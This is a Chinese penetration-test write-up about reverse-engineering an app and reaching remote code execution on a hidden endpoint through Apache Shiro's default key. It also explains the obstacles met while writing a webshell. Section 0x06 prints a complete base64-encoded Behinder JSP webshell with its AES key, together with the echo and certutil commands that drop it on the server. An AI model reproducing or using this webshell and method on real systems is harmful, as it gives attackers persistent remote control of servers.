|
文章来源:先知社区(1frame)
原文地址:https://xz.aliyun.com/t/10906
0x01 前言
某APP渗透测试,主页就一个登录框,登录框认证调用的公司门户站的SSO单点登录,再加上长亭的waf,几乎牢不可破,常规手法都有尝试,没有什么突破点。
0x02 脱壳逆向
jadx一把梭,看看有没有什么敏感信息泄露,审源码的时候发现有爱加密加固,反射大师脱壳一把梭,得到dex文件,然后又jadx一把梭看代码(这个过程就省略了,主题不是它)。
0x03 逆向分析
大致粗略的看了一下,用的okhttp框架,有反抓包,直接hook绕过即可正常抓包,数据库密码,阿里osskey之类的也没有硬编码在app中,没有什么敏感信息可以利用,登录验证算法都是调用的单点登录,也没有什么突破点。
0x04 突破口
#1 正当没啥进展的时候,乱翻了翻基础类源码,发现BaseUrlConfig类中有一串URL,都是一个ip,但是端口不一样。
推荐一款app信息搜集工具,能主动扫描获取app中的url信息,AppInfoScanner
http://
关键词,又搜到一个url(这次是域名),类似于http://xxxxx:8080/web/weixin/xxxxxx
,浏览器打开看了一下,没啥东西,也是空白页面。因为url中出现weixin关键词,推测两种可能,第一种:登陆点,第二种,微信授权接口。所以简单猜了下路径,在weixin后面加了个login,
http://xxxxx:8080/web/weixin/login
,发现登陆点,由于路径跟上面发现的url类似,推测它也是java的后端,直接shiro一把梭,默认key,成功rce,java后端rce一般都是system权限。0x05 写入webshell踩坑
RCE之后呢,当然不能只满足现状,为了方便管理,肯定得写个webshell的。写shell用的最多的就几种,小马传大马,手动echo写入,远程下载等方式,这里服务器不通外网,也就没法远程下载了,没有上传点,而且小马的代码量跟冰蝎差不多,就不考虑写小马了。
坑1—特殊字符转义
坑2—BASE解码报错
certutil -decode 1.txt 2.txt //1.txt解码生成2.txt
成功写入webshell
最后锁定了冰蝎马的最后四个字符;}%>,不加这四个字符,base64解码能正常输出内容,只要base64编码里是以这四个字符结尾,那么就解码报错。
坑3—根目录webshell不解析
0x06 整理思路
1. 找到了问题所在,那么就定点打击。思路是:先将除最后四个字符以外的shell内容base编码传到目标上,然后解码输出到2.jsp。
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KQ>1.txt
certutil -decode 1.txt 2.jsp
echo ^;^}^%^2.jsp
0x07 结尾
这波写shell,大概耗时两个多小时,还有很多小细节没说,本地操作不报错并不代表服务器上操作不会报错,环境可能不一样,有时候还有玄学问题,在此之前我也有过shiro写shell的经历,但是那次没这么多问题,一次性base解码写shell成功,而且直接通过文件下载把webshell下载到目标中也行,每个人遇到的环境都可能不一样,最好的方法就是不断fuzz测试,找到报错的原因,然后精准打击。再补充一句…内存马注入也可以,但是容易把站弄崩,别问我怎么知道的,不到万不得已不注入内存马。
最后确认资产的时候没打偏,打到了该公司的一台其他业务的服务器上去了,如果从正面刚APP的话,就算有shiro,也没法绕waf,如果正面无法突破的话,可以尝试搜集一些app内部的敏感信息,说不定有突破口。
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读
欢 迎 私 下 骚 扰
原文始发于微信公众号(潇湘信安):APP简单逆向到getshell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论